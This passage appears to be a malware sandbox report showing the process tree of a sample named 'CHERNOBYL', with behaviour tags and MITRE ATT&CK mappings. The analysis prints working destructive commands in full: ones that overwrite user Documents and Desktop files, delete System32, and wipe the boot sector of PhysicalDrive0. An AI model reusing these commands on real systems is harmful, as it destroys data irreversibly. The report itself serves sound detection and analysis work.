  powershell.exe -WindowStyle Normal -Command "while($true){$c=[System.ConsoleColor]::GetValues([System.ConsoleColor]);$r=Get-Random -Max $c.Count;$host.UI.RawUI.ForegroundColor=$c[$r];$r2=Get-Random -Max $c.Count;$host.UI.RawUI.BackgroundColor=$c[$r2];Clear-Host;Write-Host 'Γÿó∩╕Å CHERNOBYL Γÿó∩╕Å' -Fore Red -Back White;Start-Sleep -Milliseconds 200}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5432
- C:\Windows\system32\cmd.exe
  cmd /c "color 25581 & echo INFECTED > C:\Users\Admin\desktop\INF_15615.tmp & copy /y NUL C:\Users\Admin\desktop\CHERNOBYL_13751.dat"
  2⤵
  - Executes a command shell one-liner
  PID:5640
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Normal -Command "while($true){$c=[System.ConsoleColor]::GetValues([System.ConsoleColor]);$r=Get-Random -Max $c.Count;$host.UI.RawUI.ForegroundColor=$c[$r];$r2=Get-Random -Max $c.Count;$host.UI.RawUI.BackgroundColor=$c[$r2];Clear-Host;Write-Host 'Γÿó∩╕Å CHERNOBYL Γÿó∩╕Å' -Fore Red -Back White;Start-Sleep -Milliseconds 200}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5648
- C:\Windows\system32\cmd.exe
  cmd /c "color 25581 & echo INFECTED > C:\Users\Admin\desktop\INF_15615.tmp & copy /y NUL C:\Users\Admin\desktop\CHERNOBYL_13751.dat"
  2⤵
  - Executes a command shell one-liner
  PID:5744
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Normal -Command "while($true){$c=[System.ConsoleColor]::GetValues([System.ConsoleColor]);$r=Get-Random -Max $c.Count;$host.UI.RawUI.ForegroundColor=$c[$r];$r2=Get-Random -Max $c.Count;$host.UI.RawUI.BackgroundColor=$c[$r2];Clear-Host;Write-Host 'Γÿó∩╕Å CHERNOBYL Γÿó∩╕Å' -Fore Red -Back White;Start-Sleep -Milliseconds 200}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5808
- C:\Windows\system32\cmd.exe
  cmd /c "color 25581 & echo INFECTED > C:\Users\Admin\desktop\INF_15615.tmp & copy /y NUL C:\Users\Admin\desktop\CHERNOBYL_13751.dat"
  2⤵
  - Executes a command shell one-liner
  PID:5916
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Normal -Command "while($true){$c=[System.ConsoleColor]::GetValues([System.ConsoleColor]);$r=Get-Random -Max $c.Count;$host.UI.RawUI.ForegroundColor=$c[$r];$r2=Get-Random -Max $c.Count;$host.UI.RawUI.BackgroundColor=$c[$r2];Clear-Host;Write-Host 'Γÿó∩╕Å CHERNOBYL Γÿó∩╕Å' -Fore Red -Back White;Start-Sleep -Milliseconds 200}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious use of AdjustPrivilegeToken
  PID:6040
- C:\Windows\system32\cmd.exe
  cmd /c "color 25581 & echo INFECTED > C:\Users\Admin\desktop\INF_15615.tmp & copy /y NUL C:\Users\Admin\desktop\CHERNOBYL_13751.dat"
  2⤵
  - Executes a command shell one-liner
  PID:3324
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Normal -Command "while($true){$c=[System.ConsoleColor]::GetValues([System.ConsoleColor]);$r=Get-Random -Max $c.Count;$host.UI.RawUI.ForegroundColor=$c[$r];$r2=Get-Random -Max $c.Count;$host.UI.RawUI.BackgroundColor=$c[$r2];Clear-Host;Write-Host 'Γÿó∩╕Å CHERNOBYL Γÿó∩╕Å' -Fore Red -Back White;Start-Sleep -Milliseconds 200}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious use of AdjustPrivilegeToken
  PID:5704
- C:\Windows\system32\cmd.exe
  cmd /c "color 25581 & echo INFECTED > C:\Users\Admin\desktop\INF_15615.tmp & copy /y NUL C:\Users\Admin\desktop\CHERNOBYL_13751.dat"
  2⤵
  - Executes a command shell one-liner
  PID:5776
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Normal -Command "while($true){$c=[System.ConsoleColor]::GetValues([System.ConsoleColor]);$r=Get-Random -Max $c.Count;$host.UI.RawUI.ForegroundColor=$c[$r];$r2=Get-Random -Max $c.Count;$host.UI.RawUI.BackgroundColor=$c[$r2];Clear-Host;Write-Host 'Γÿó∩╕Å CHERNOBYL Γÿó∩╕Å' -Fore Red -Back White;Start-Sleep -Milliseconds 200}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious use of AdjustPrivilegeToken
  PID:6064
- C:\Windows\system32\cmd.exe
  cmd /c "color 25581 & echo INFECTED > C:\Users\Admin\desktop\INF_15615.tmp & copy /y NUL C:\Users\Admin\desktop\CHERNOBYL_13751.dat"
  2⤵
  - Executes a command shell one-liner
  PID:6160
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Normal -Command "while($true){$c=[System.ConsoleColor]::GetValues([System.ConsoleColor]);$r=Get-Random -Max $c.Count;$host.UI.RawUI.ForegroundColor=$c[$r];$r2=Get-Random -Max $c.Count;$host.UI.RawUI.BackgroundColor=$c[$r2];Clear-Host;Write-Host 'Γÿó∩╕Å CHERNOBYL Γÿó∩╕Å' -Fore Red -Back White;Start-Sleep -Milliseconds 200}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious use of AdjustPrivilegeToken
  PID:6264
- C:\Windows\system32\cmd.exe
  cmd /c "color 25581 & echo INFECTED > C:\Users\Admin\desktop\INF_15615.tmp & copy /y NUL C:\Users\Admin\desktop\CHERNOBYL_13751.dat"
  2⤵
  - Executes a command shell one-liner
  PID:6392
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Normal -Command "while($true){$c=[System.ConsoleColor]::GetValues([System.ConsoleColor]);$r=Get-Random -Max $c.Count;$host.UI.RawUI.ForegroundColor=$c[$r];$r2=Get-Random -Max $c.Count;$host.UI.RawUI.BackgroundColor=$c[$r2];Clear-Host;Write-Host 'Γÿó∩╕Å CHERNOBYL Γÿó∩╕Å' -Fore Red -Back White;Start-Sleep -Milliseconds 200}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious use of AdjustPrivilegeToken
  PID:6480
- C:\Windows\system32\cmd.exe
  cmd /c "color 25581 & echo INFECTED > C:\Users\Admin\desktop\INF_15615.tmp & copy /y NUL C:\Users\Admin\desktop\CHERNOBYL_13751.dat"
  2⤵
  - Executes a command shell one-liner
  PID:6556
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Normal -Command "while($true){$c=[System.ConsoleColor]::GetValues([System.ConsoleColor]);$r=Get-Random -Max $c.Count;$host.UI.RawUI.ForegroundColor=$c[$r];$r2=Get-Random -Max $c.Count;$host.UI.RawUI.BackgroundColor=$c[$r2];Clear-Host;Write-Host 'Γÿó∩╕Å CHERNOBYL Γÿó∩╕Å' -Fore Red -Back White;Start-Sleep -Milliseconds 200}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious use of AdjustPrivilegeToken
  PID:6656
- C:\Windows\system32\cmd.exe
  cmd /c "color 25581 & echo INFECTED > C:\Users\Admin\desktop\INF_15615.tmp & copy /y NUL C:\Users\Admin\desktop\CHERNOBYL_13751.dat"
  2⤵
  - Executes a command shell one-liner
  PID:6736
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Normal -Command "while($true){$c=[System.ConsoleColor]::GetValues([System.ConsoleColor]);$r=Get-Random -Max $c.Count;$host.UI.RawUI.ForegroundColor=$c[$r];$r2=Get-Random -Max $c.Count;$host.UI.RawUI.BackgroundColor=$c[$r2];Clear-Host;Write-Host 'Γÿó∩╕Å CHERNOBYL Γÿó∩╕Å' -Fore Red -Back White;Start-Sleep -Milliseconds 200}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious use of AdjustPrivilegeToken
  PID:6848
- C:\Windows\system32\cmd.exe
  cmd /c "color 25581 & echo INFECTED > C:\Users\Admin\desktop\INF_15615.tmp & copy /y NUL C:\Users\Admin\desktop\CHERNOBYL_13751.dat"
  2⤵
  - Executes a command shell one-liner
  PID:6900
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Get-ChildItem C:\Users\*\Documents\*.* -Recurse -ErrorAction SilentlyContinue | ForEach-Object { [System.IO.File]::WriteAllBytes($_.FullName, @(0x00,0x00,0x00)) }"
  2⤵
  - Enumerates connected drives
  - Hide Artifacts: Ignore Process Interrupts
  - Suspicious use of AdjustPrivilegeToken
  PID:6700
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Get-ChildItem C:\Users\*\Desktop\*.* -Recurse -ErrorAction SilentlyContinue | ForEach-Object { [System.IO.File]::WriteAllBytes($_.FullName, @(0xFF,0xFF,0xFF)) }"
  2⤵
  - Enumerates connected drives
  - Hide Artifacts: Ignore Process Interrupts
  - Suspicious use of AdjustPrivilegeToken
  PID:7396
- C:\Windows\system32\cmd.exe
  cmd /c "takeown /f C:\Windows\System32 /r /d y 2>nul & icacls C:\Windows\System32 /grant Admin:F /t 2>nul & del /f /s /q C:\Windows\System32\*.* 2>nul & rd /s /q C:\Windows\System32 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:7724
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\System32 /r /d y
    3⤵
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:7796
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "$drive = Get-WmiObject -Class Win32_DiskDrive | Where-Object {$_.Index -eq 0}; $bytes = [byte[]]::new(512); $drive | ForEach-Object { $path = $_.DeviceID -replace '\\\\\\\\.\\\\',''; [System.IO.File]::WriteAllBytes('\\\\.\\PhysicalDrive0', $bytes) }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious use of AdjustPrivilegeToken
  PID:8036

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Ignore Process Interrupts

T1564.011

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...